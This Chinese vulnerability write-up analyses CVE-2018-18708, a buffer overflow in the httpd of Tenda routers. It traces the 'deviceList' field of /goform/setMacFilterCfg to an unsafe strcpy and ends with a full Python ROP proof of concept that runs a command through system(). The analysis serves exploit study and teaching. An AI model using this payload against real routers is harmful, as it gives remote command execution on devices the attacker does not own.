CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析

摘要:本文通过对一个ARM路由器缓冲区溢出漏洞的分析,实践逆向数据流跟踪的思路与方法。

假设读者:了解ARM指令集基础知识、了解栈溢出原理和利用方法、了解通过IDA和GDB进行静态分析与动态跟踪的方法。

阅读本文后:可以了解逆向数据流跟踪的思路与方法

1. 漏洞概要

CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可利用该漏洞造成拒绝服务(覆盖函数的返回地址)。以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。

对于该漏洞,并未搜索到现有的漏洞分析文章,漏洞提交者仅通过上图指出漏洞所在的地方,剩下的如何触发利用就需要我们来跟踪分析了。

2. 固件模拟

qemu模拟运行bin/httpd文件时,sub_2E420函数中会检测网络,需要在下图标号1和标号2处对返回值进行patch进行绕过。

同时添加并配置虚拟网桥br0,如此就能跑起来了。

3. 跟踪与分析

分析一般有两种思路:

正向数据流跟踪:从输入函数开始跟踪数据处理逻辑。

逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。

因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪的方式。根据图中的字符串,检索到代码位于sub_c24C0中。

3.1 梳理函数调用关系

在我们之前解决网络问题时程序已经执行到了sub_2E420函数,而溢出点位于sub_c24C0函数。因此我们将这中间的函数调用过程都梳理出来:

sub_C24C0

3.2 跟踪参数来源

跟踪梳理出漏洞代码strcpy函数中源地址s的来源。

(1)源地址s来源于sub_C24C0的a1参数

sub_C24C0(a1,a2){

dest = a2

s = a1

src = a1中的'r'位置

if (src){

strcpy(dest +32, s)

strcpy(dest, src)

}

}

(2)sub_C24C0的a1参数来源于sub_C17A0的a2参数

sub_C17A0(a1, a2, a3){

v5=a2

v21为本地变量 160字节

sub_C24C0(v5, v21)

}

(3)sub_C17A0的a2参数来源于sub_C14DC的a2参数

sub_C14DC(a1, a2){

s = a2

if(*s){

sub_C17A0(v4, s, v16)

}

(4)sub_C14DC的a2参数来源于formSetMacFilterCfg函数的v39

formSetMacFilterCfg(){

v40 = sub_2BA8C(v3, "macFilterType", &unk_F5124)

v41 = sub_C10D0(V40)

if (not v41){

v39 = sub_2BA8C(v3, "deviceList", &unk_F5124)

sub_C14DC(v40, v39)

}

}

变量v39是sub_2BA8C(v3, "deviceList", &unk_F5124)函数的返回值。

由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。

3.3 路径中的分支跳转条件

之前得到了函数调用关系:

sub_C24C0

我们需要对路径中的分支跳转判断条件一一满足,这里配合使用IDA的Graph视图、反编译和GDB动态调试来完成分析。

(1)sub_2E9EC

网络检测后,无分支。

(2)sub_42378

有分支判断,但已经满足。

(3)formSetMacfiltercfg

如上图,该函数中有对不同功能的处理函数。显然请求到指定路径,会调用相应的处理函数,我们得找到执行formSetMacfiltercfg函数的路径。

在函数中没有找到url路径相关的信息,翻了下固件文件系统,发现了webroot_ro/goform/setMacFilterCfg.txt文件。

通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。

(4)sub_C14DC

如上图,需要让v41=0,而v41来自于sub_C10D0函数对macFilterType的参数的处理。

我们进入sub_C10D0函数看看macFilterType需要如何设置,反编译后代码逻辑还是很清晰的,只需要v3等于“black”或“white”即可返回0,如下图所示。

进入目标分支后,再从deviceList获取传入v39变量,根据上一节的分析该值将被用作strcpy的参数。

data = {"macFilterType": "white", "deviceList": payload}

(5)sub_C17A0

有分支判断,但条件已满足。

(6)sub_C24C0

有分支判断,但条件已满足。

(7)sub_C24C0

如下图所示,检测deviceList内容是否包含’r’,随后进入分支执行漏洞代码。

3.4 溢出触发测试

根据上一节的分析,我们整理处HTTP POST的请求内容。

import requests

url = "http://192.168.2.111/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}

data = {"macFilterType": "white", "deviceList": "r"+ "A"*500}

发送后,gdb得到预想中的报错信息,返回地址被覆盖。

4.漏洞利用

(1)寻找偏移量

利用cyclic找到偏移量

这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。

(2)确定利用方案

使用checksec检查二进制文件的保护措施,开启了NX保护,选择用ROP绕过。

(3)构造ROP Chain

获取libc.so基地址。

获取system函数偏移量。

寻找gadets。

ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"

0x00040cb8 : mov r0, sp ; blx r3

ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3

0x00018298 : pop {r3, pc}

最终,payload结构为[offset, gadget1, system_addr, gadget2, cmd] ,完整的POC如下:

import requests

from pwn import *

cmd="echo hello"

libc_base = 0xff58c000

system_offset = 0x5a270

gadget1_offset = 0x18298

gadget2_offset = 0x40cb8

system_addr = libc_base + system_offset

gadget1 = libc_base + gadget1_offset

gadget2 = libc_base + gadget2_offset

payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = "http://192.168.2.111/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}

data = {"macFilterType": "white", "deviceList": "r"+payload}

requests.post(url, cookies=cookie, data=data)

查看程序的打印信息,cmd中的echo指令已经被执行。

PS:中间有些细节省略掉了,只给出了关键步奏。可以参考之前写的文章《写给初学者的实战教程之ARM栈溢出》,分析的是同一款路由器的其他漏洞。

参考

kali+php+缓冲区溢出,CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析相关推荐

  1. 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

    1 漏洞概述 从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述. An issue was discovered on Tenda AC7 V15.03.06. ...

  2. c++ error函数_Linux中create_elf_tables函数整型溢出漏洞分析(CVE201814634)

    在这篇文章中,我们将跟大家分析Linux平台中createelftables函数的一个整型溢出漏洞(CVE-2018-14634). 概述 在近期的一次安全分析过程中,我们在64位Linux系统内核里 ...

  3. Linksys WRT54G 路由器溢出漏洞分析—— 运行环境修复

    博文视点安全技术大系 · 2015/08/04 15:40 本文节选自<揭秘家用路由器0day漏洞挖掘技术>,吴少华主编,王炜.赵旭编著,电子工业出版社 2015年8月出版. 本章实验测试 ...

  4. CVE-2014-6321 schannel堆溢出漏洞分析

    cssembly · 2014/12/05 12:09 0x00 背景 MS14-066 (CVE-2014-6321) 是存在于Microsoft的schannel.dll中的TLS堆缓冲区溢出漏洞 ...

  5. 【漏洞分析】Foxit Reader BMP biWidth 堆溢出漏洞(CVE-2017-17557)

    0x00 前言 总体来说,坑不多,走下来很平坦.毕竟只是简单的整数溢出漏洞,没有太多知识点. 0x01 简介 Foxit Reader 在2018年5月18日的安全公告中提及修复了因恶意调用特定函数, ...

  6. 链安团队漏洞分析连载(第一期)一一溢出漏洞

    4月发生的BEC事件以及SMT事件已经沉淀一段时间了,具体的情况也被多方媒体所报道,相关的漏洞根源问题也有很多大神团队的分析和指正,成都链安科技团队将各种已经发生或可能发生的类似溢出漏洞原理进行整理, ...

  7. 2022CTF培训(十一)IOT 相关 CVE 漏洞分析

    附件下载链接 D-Link DIR-823G 固件全系统仿真 2022CTF培训(十)IOT 相关 CVE 漏洞分析 是采用 qemu-user 对个别程序进行仿真,而对于完整的仿真需要使用 qemu ...

  8. 以太坊漏洞分析————1、溢出漏洞

    事件回顾 2018年4月22日,黑客对BEC智能合约发起攻击,凭空取出 57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,0 ...

  9. 转载:WPS 2012/2013 RTF fchars 堆溢出漏洞分析

    WPS 2012/2013 RTF fchars 堆溢出漏洞分析 On 2013年12月11日, in 安全分析, by code_audit_labs by phperl ,zzf,nine8 of ...

最新文章

  1. vscode使用sass_推荐7 个 极好用的VS Code 插件
  2. 用Python给头像加上圣诞帽或圣诞老人小徽章
  3. 转换运行时获取DTP语义组
  4. Golang爬取网页数据时403
  5. python - Flask 基础(1)
  6. python数据挖掘orange
  7. 《深入理解JavaScript闭包和原型》笔记
  8. 不用代码隐藏自定义列表
  9. 扒一扒贝索斯的接班人,为何选他挑起大梁?
  10. JNPF.java前后端分离框架,SpringBoot+SpringCloud开发微服务平台
  11. 接口自动化测试平台,Django“踩坑”之旅(四):“Not Found: /favicon.ico”错误处理
  12. html表格左边锁定,表头锁定
  13. 计算机网络-应用层笔记
  14. 小米全国高校编程大赛 高弗雷勋爵
  15. 基于FPGA的DDS混频及原理
  16. mac 完全卸载android,Mac彻底卸载Android Studio
  17. 手机怎么修改视频的封面?这三个方法和步骤让你实现
  18. SQL SERVER 事务的使用(tran)
  19. C++的数据复合类型
  20. 第3章--Linux内核及内核编程

热门文章

  1. Java实操演练1——简单图书管理系统的设计与实现
  2. C语言新手入门|初始C语言
  3. 关于html页面转为 jsp页面中文乱码问题
  4. React + umi +antd+antv/g6 实现力图
  5. 大家都应该了解的“客户备付金”
  6. sql注入漏洞检测攻略
  7. 关于RS485通讯协议与圆形航空插头哪些事
  8. python16进制转10进制_python16进制转换为10进制
  9. 【读书笔记】Profressional ASP.Net MVC2
  10. 抢票软件开发(四) 软件封装